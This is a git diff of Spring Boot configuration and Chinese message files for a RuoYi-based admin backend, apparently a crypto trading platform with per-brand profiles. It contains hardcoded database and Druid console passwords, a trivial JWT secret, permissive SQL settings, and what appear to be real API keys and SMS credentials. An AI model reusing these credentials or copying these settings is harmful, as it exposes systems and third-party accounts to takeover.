+server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/spark?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-terra.yml b/ruoyi-admin/src/main/resources/application-terra.yml new file mode 100644 index 0000000..556bdda --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-terra.yml @@ -0,0 +1,95 @@ +app: + name: terra +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 3 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/terra?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-ticbit.yml b/ruoyi-admin/src/main/resources/application-ticbit.yml new file mode 100644 index 0000000..1dc0bb5 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-ticbit.yml @@ -0,0 +1,96 @@ +app: + name: ticbit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/ticbit?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-tokencan.yml b/ruoyi-admin/src/main/resources/application-tokencan.yml new file mode 100644 index 0000000..225f4fb --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-tokencan.yml @@ -0,0 +1,95 @@ +app: + name: tokencan +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/tokencan?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-trustwallet.yml b/ruoyi-admin/src/main/resources/application-trustwallet.yml new file mode 100644 index 0000000..6d87183 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-trustwallet.yml @@ -0,0 +1,95 @@ +app: + name: trustwallet +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/trustwallet?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application.yml b/ruoyi-admin/src/main/resources/application.yml new file mode 100644 index 0000000..e46e0a8 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application.yml @@ -0,0 +1,139 @@ +# 项目相关配置 +ruoyi: + # 名称 + name: RuoYi + # 版本 + version: 3.8.5 + # 版权年份 + copyrightYear: 2023 + # 实例演示开关 + demoEnabled: true + # 文件路径 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath) + profile: D:/ruoyi/uploadPath + # 获取ip地址开关 + addressEnabled: false + # 验证码类型 math 数字计算 char 字符验证 + captchaType: math + + googleHost : https://win999.com + +# 开发环境配置 +server: + servlet: + # 应用的访问路径 + context-path: / + tomcat: + # tomcat的URI编码 + uri-encoding: UTF-8 + # 连接数满后的排队数,默认为100 + accept-count: 1000 + threads: + # tomcat最大线程数,默认为200 + max: 800 + # Tomcat启动初始化的线程数,默认值10 + min-spare: 100 + +# 用户配置 +user: + password: + # 密码最大错误次数 + maxRetryCount: 5 + # 密码锁定时间(默认10分钟) + lockTime: 10 + +# Spring配置 +spring: + # 资源信息 + messages: + # 国际化资源文件路径 + basename: i18n/messages + profiles: + active: dev + # 文件上传 + servlet: + multipart: + # 单个文件大小 + max-file-size: 10MB + # 设置总上传的文件大小 + max-request-size: 20MB + # 服务模块 + devtools: + restart: + # 热部署开关 + enabled: true + +# token配置 +token: + # 令牌自定义标识 + header: Authorization + # 令牌密钥 + secret: abcdefghijklmnopqrstuvwxyz + # 令牌有效期(默认30分钟) + expireTime: 300 + +# MyBatis Plus配置 +mybatis-plus: + # 搜索指定包别名 + typeAliasesPackage: com.ruoyi.**.domain + # 配置mapper的扫描,找到所有的mapper.xml映射文件 + mapperLocations: classpath*:mapper*/**/*Mapper.xml + # 加载全局的配置文件 + configLocation: classpath:mybatis/mybatis-config.xml + #主键自增配置 + global-config: + db-config: + id-type: auto + +# PageHelper分页插件 +pagehelper: + helperDialect: mysql + supportMethodsArguments: true + params: count=countSql + +# Swagger配置 +swagger: + # 是否开启swagger + enabled: true + # 请求前缀 + pathMapping: /dev-api + +# 防止XSS攻击 +xss: + # 过滤开关 + enabled: true + # 排除链接(多个用逗号分隔) + excludes: /system/notice + # 匹配链接 + urlPatterns: /system/*,/monitor/*,/tool/* + +api: + key: 412XIG5HCBA5BUBTUJ5CMJ5IDBGIDVEU31 + eth: + key: MIFUK1NUB2ZFNC2A1VB878Q148336UTG7E +web3j: + url: https://mainnet.infura.io/v3/b631721031a64cfc8a94b911a6640939 +mifeng: + api: + eth: L30PNXBLM9B6PJDSGTIE7MWWFIR3P6YL2ZU7INHB + host: data.block.cc + + +#mobile +mobile: + account: I003662 + password: OEwXRLHZkB23 + url: https://api.nodesms.com/send/json + + + + +#stream 相关配置 +#stream 名称数组 +api-redis-stream: + names: socket_key + #stream 群组名称 + groups: socket_coin +admin-redis-stream: + names: notice_key + #stream 群组名称 + groups: notice diff --git a/ruoyi-admin/src/main/resources/banner.txt b/ruoyi-admin/src/main/resources/banner.txt new file mode 100644 index 0000000..0931cb8 --- /dev/null +++ b/ruoyi-admin/src/main/resources/banner.txt @@ -0,0 +1,24 @@ +Application Version: ${ruoyi.version} +Spring Boot Version: ${spring-boot.version} +//////////////////////////////////////////////////////////////////// +// _ooOoo_ // +// o8888888o // +// 88" . "88 // +// (| ^_^ |) // +// O\ = /O // +// ____/`---'\____ // +// .' \\| |// `. // +// / \\||| : |||// \ // +// / _||||| -:- |||||- \ // +// | | \\\ - /// | | // +// | \_| ''\---/'' | | // +// \ .-\__ `-` ___/-. / // +// ___`. .' /--.--\ `. . ___ // +// ."" '< `.___\_<|>_/___.' >'"". // +// | | : `- \`.;`\ _ /`;.`/ - ` : | | // +// \ \ `-. \_ __\ /__ _/ .-` / / // +// ========`-.____`-.___\_____/___.-`____.-'======== // +// `=---=' // +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // +// 佛祖保佑 永不宕机 永无BUG // +//////////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/i18n/messages.properties b/ruoyi-admin/src/main/resources/i18n/messages.properties new file mode 100644 index 0000000..afb2fb3 --- /dev/null +++ b/ruoyi-admin/src/main/resources/i18n/messages.properties @@ -0,0 +1,39 @@ +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5220\u9664 +user.blocked=\u7528\u6237\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +login.blocked=\u5F88\u9057\u61BE\uFF0C\u8BBF\u95EEIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7EDF\u9ED1\u540D\u5355 +user.logout.success=\u9000\u51FA\u6210\u529F + +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 + +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +user.ops.status=\u64CD\u4F5C\u6210\u529F \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/i18n/messages_zh.properties b/ruoyi-admin/src/main/resources/i18n/messages_zh.properties new file mode 100644 index 0000000..a2e253f --- /dev/null +++ b/ruoyi-admin/src/main/resources/i18n/messages_zh.properties @@ -0,0 +1,150 @@ +user.appname=\u4E2D\u6587\u8BED\u8A00 + + + +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5220\u9664 +user.blocked=\u7528\u6237\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +login.blocked=\u5F88\u9057\u61BE\uFF0C\u8BBF\u95EEIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7EDF\u9ED1\u540D\u5355 +user.logout.success=\u9000\u51FA\u6210\u529F +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 + +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u90AE\u7BB1\u683C\u5F0F\u4E0D\u6B63\u786E +user.register.email.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.register.phone.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.user_name_exisit=\u7528\u6237\u540D\u5DF2\u7ECF\u5B58\u5728 +login.user_error=\u7528\u6237\u540D\u6216\u5BC6\u7801\u9519\u8BEF +user.login.address.error=\u5730\u5740\u88AB\u5360\u7528! +#app +app.login.address.not.null=\u7528\u6237\u5730\u5740\u4E3A\u7A7A +login.email.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u90AE\u7BB1\u8FDB\u884C\u64CD\u4F5C +login.phone.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u624B\u673A\u53F7\u8FDB\u884C\u64CD\u4F5C +login.code_error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.login.code.error=\u9A8C\u8BC1\u7801\u6548\u9A8C\u5931\u8D25! +user.login.password.null=\u8BF7\u8F93\u5165\u5BC6\u7801! +user.login.upd.success=\u4FEE\u6539\u6210\u529F! +phone_code_empty=\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A! +email.code_empty=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A! +user.code.send=\u9A8C\u8BC1\u7801\u53D1\u9001\u6210\u529F +app.verification.email.code=\u9A8C\u8BC1\u7801\u5DF2\u53D1\u9001\u5230\u60A8\u7684\u90AE\u7BB1\uFF0C\u8BF7\u6CE8\u610F\u67E5\u6536 +user.password_bind=\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.tard.password_bind=\u5B89\u5168\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.login.null=\u7528\u6237\u4E0D\u5B58\u5728\uFF01 +user.login.old.password=\u65E7\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.new.password=\u65B0\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.paw.upd=\u65B0\u5BC6\u7801\u4E0D\u80FD\u4E0E\u65E7\u5BC6\u7801\u4E00\u81F4\uFF01 +user.login.old.password.error=\u65E7\u5BC6\u7801\u9519\u8BEF\uFF01 +user.login.address.null=\u5730\u5740\u4E3A\u7A7A\uFF01 +user.login.userid.null=\u7528\u6237ID\u4E3A\u7A7A\uFF01 +#\u63D0\u73B0 +user.password_notbind=\u8BF7\u8BBE\u7F6E\u5B89\u5168\u5BC6\u7801 +tard_password.error=\u652F\u4ED8\u5BC6\u7801\u9519\u8BEF +withdraw.amount_number_exceed=\u5F53\u65E5\u63D0\u73B0\u8D85\u8FC7\u8BBE\u5B9A\u6B21\u6570 +withdraw_error=\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u63D0\u73B0 +withdraw.amount_error=\u63D0\u73B0\u91D1\u989D\u9519\u8BEF\uFF0C\u8BF7\u4FEE\u6539 +withdraw.refresh=\u8BF7\u5237\u65B0 +withdraw.address.isnull=\u8BF7\u586B\u5199\u6B63\u786E\u7684\u63D0\u73B0\u5730\u5740\uFF01 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u8EAB\u4EFD\u8BA4\u8BC1\u4FE1\u606F4\u9879\u90FD\u662F\u5FC5\u586B + +#\u5151\u6362 +exchange.symbol.exist = \u5151\u6362\u7684\u5E01\u79CD\u4E0D\u80FD\u4E3A\u7A7A,\u5151\u6362\u91D1\u989D\u5FC5\u987B\u5927\u4E8E0 +recharge.amout.min=\u6700\u5C0F\u5145\u503C\u91D1\u989D\u4E3A{0} +recharge.amout.max=\u6700\u5927\u5145\u503C\u91D1\u989D\u4E3A{0} +currency.exchange_min = \u6700\u5C0F\u5151\u6362\u91D1\u989D\u4E3A{0} +currency.exchange_max = \u6700\u5927\u5151\u6362\u91D1\u989D\u4E3A{0} +exchange_error=\u5151\u6362\u91D1\u989D\u5927\u4E8E\u8D26\u6237\u4F59\u989D +exchange.record.exist.error=\u60A8\u6709\u4E00\u7B14\u5151\u6362\u6B63\u5728\u8FDB\u884C\u4E2D\uFF0C\u7A0D\u540E\u518D\u8BD5 +exchange_symbol_error_exist = \u5151\u6362\u5E01\u79CD\u4E0D\u5B58\u5728 +#\u79D2\u5408\u7EA6 +order_amount_error=\u94B1\u5305\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order_10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... +#\u7406\u8D22 